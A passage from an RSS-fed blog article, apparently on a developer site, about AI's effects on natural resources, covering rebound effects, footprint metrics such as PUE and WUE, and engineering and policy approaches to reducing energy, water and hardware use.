Computer vision can identify crop stress, pests, or nutrient deficiency earlier than manual inspection. Precision spraying can reduce herbicide and pesticide use by targeting individual weeds rather than entire fields. The resource benefit depends on cost, farmer adoption, local crop systems, and whether yield increases drive expansion into new land.&lt;/p&gt;

&lt;h2&gt;
  
  
  Industry and Manufacturing
&lt;/h2&gt;

&lt;p&gt;Industrial AI can optimize furnaces, kilns, compressors, pumps, and chemical reactors. These systems often consume large amounts of energy. &lt;br&gt;
Even a 1% efficiency improvement in cement, steel, ammonia, or refining operations can save substantial fuel and raw materials.&lt;/p&gt;

&lt;p&gt;Predictive maintenance reduces unplanned downtime and avoids premature replacement of equipment. Quality-control models can detect defects earlier, reducing scrap in semiconductor, automotive, and electronics manufacturing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Materials Discovery
&lt;/h2&gt;

&lt;p&gt;AI is increasingly used to search for better batteries, catalysts, refrigerants, membranes, and alloys.&lt;br&gt;
Faster discovery of low-cobalt batteries, efficient electrolyzers, or improved carbon capture sorbents could reduce mining and energy intensity. These benefits are not automatic; laboratory success must survive scale-up, safety testing, manufacturing economics, and deployment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rebound Effects
&lt;/h2&gt;

&lt;p&gt;Efficiency can increase total consumption if lower costs stimulate greater use. This is the rebound effect.&lt;br&gt;
If AI makes software development cheaper, more software may be produced. If AI makes advertising more effective, more computing may be spent on targeting and content generation. &lt;/p&gt;

&lt;p&gt;If inference becomes cheaper, products may add AI features whether or not they provide significant value. A tenfold improvement in efficiency does not guarantee lower resource use if demand grows twentyfold.&lt;br&gt;
This is why the key metric is not only energy per computation. Total system consumption matters:&lt;br&gt;
Total resource use = resource intensity per task × number of tasks&lt;br&gt;
A smaller model running billions of unnecessary tasks can consume more total resources than a larger model used sparingly for high-value work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Measuring AI’s Resource Footprint
&lt;/h2&gt;

&lt;p&gt;AI resource accounting should include both operational and embodied impacts.&lt;/p&gt;

&lt;p&gt;Operational impacts include electricity, water, backup fuel, and refrigerants used during service. Embodied impacts include mining, manufacturing, construction, shipping, and end-of-life processing.&lt;br&gt;
Useful reporting metrics include:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;kWh per training run- Direct electricity used to train a model&lt;/li&gt;
&lt;li&gt;kWh per 1,000 inferences- Electricity used to serve model outputs&lt;/li&gt;
&lt;li&gt;PUE- Facility overhead beyond IT equipment&lt;/li&gt;
&lt;li&gt;WUE- Water consumed per unit of IT energy&lt;/li&gt;
&lt;li&gt;Carbon intensity by hour- Emissions linked to actual grid conditions&lt;/li&gt;
&lt;li&gt;Hardware utilization- Share of available accelerator capacity used&lt;/li&gt;
&lt;li&gt;Embodied carbon per server- Manufacturing and supply-chain emissions&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Although there are some public claims about “green AI”, these claims are weak due to absence of location-based data, time-based electricity matching, water reporting, and hardware lifecycle accounting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Approaches to Reduce Resource Pressure
&lt;/h2&gt;

&lt;p&gt;Several engineering choices can lower AI’s resource burden without halting development. Such practices include:&lt;/p&gt;

&lt;p&gt;**1. Smaller and Specialized Models&lt;br&gt;
Not every task needs a frontier-scale model. Distilled models, retrieval-augmented systems, sparse models, and domain-specific models can reduce inference cost. A compact model that answers a narrow class of questions accurately is often more resource-efficient than a general model used for everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Quantization and Efficient Inference&lt;/strong&gt;&lt;br&gt;
Quantization reduces numerical precision, such as moving from 16-bit floating point to 8-bit or 4-bit representations. This can reduce memory use, improve throughput, and lower energy per output token. &lt;br&gt;
Batching, caching, speculative decoding, and optimized kernels also improve accelerator utilization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Better Scheduling&lt;/strong&gt;&lt;br&gt;
Training jobs and batch inference can be scheduled during periods of low-carbon electricity or high renewable output. &lt;br&gt;
Workloads that are not latency-sensitive can move across regions if data governance and network costs allow it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Longer Hardware Life&lt;/strong&gt;&lt;br&gt;
Operators can extend server life through modular design, repair, resale, and secondary use. Older accelerators may remain useful for smaller models, batch processing, education, or research. &lt;br&gt;
Designing systems for upgradeable memory, networking, and cooling also reduces waste.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Water-Aware Siting&lt;/strong&gt;&lt;br&gt;
Data centres should be evaluated against watershed stress, not only average water availability. Dry cooling, recycled water, closed-loop liquid cooling, and non-potable water sources can reduce pressure on drinking water supplies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Governance and Procurement&lt;/strong&gt;&lt;br&gt;
Resource-efficient AI requires procurement standards, not just voluntary claims. Cloud buyers can ask providers for workload-level energy estimates, region-specific water data, hardware lifecycle policies, and time-matched clean electricity reporting.&lt;/p&gt;

&lt;p&gt;Governments can require large data centres to disclose electricity demand, water consumption, backup fuel use, and grid interconnection impacts. &lt;br&gt;
Permitting can prioritize sites with available transmission, low water stress, waste heat reuse potential, and credible recycling plans.&lt;/p&gt;

&lt;p&gt;Research funding can also favour efficient model design. Benchmarks should report accuracy alongside energy, latency, memory, and hardware requirements. A model that improves accuracy by 0.2% while doubling inference cost should face scrutiny unless the application justifies it.&lt;/p&gt;

&lt;p&gt;In conclusion, AI’s effect on Earth’s natural resources will be greatly determined by deployment choices: what gets automated, which models are used, where data centres are built, how power is sourced, how water is managed, and whether hardware is kept in productive use. &lt;br&gt;
The next phase of AI infrastructure should be measured not only by model capability, but by useful work delivered per kilowatt-hour, litter of water, kilogram of material, and square meter of land.&lt;/p&gt;

&lt;p&gt;Ultimately, as artificial intelligence scales to reshape global infrastructure, we are left with a critical calculation: will AI become the definitive catalyst for ecological optimization, or will its unrestrained operational footprint make it the very resource crisis it was deployed to solve? &lt;br&gt;
(What is your Point Of View dearest gentle reader?)&lt;/p&gt;

</description>
      <category>ai</category>
      <category>hardware</category>
      <category>infrastructure</category>
      <category>science</category>
    </item>
  </channel>
</rss>
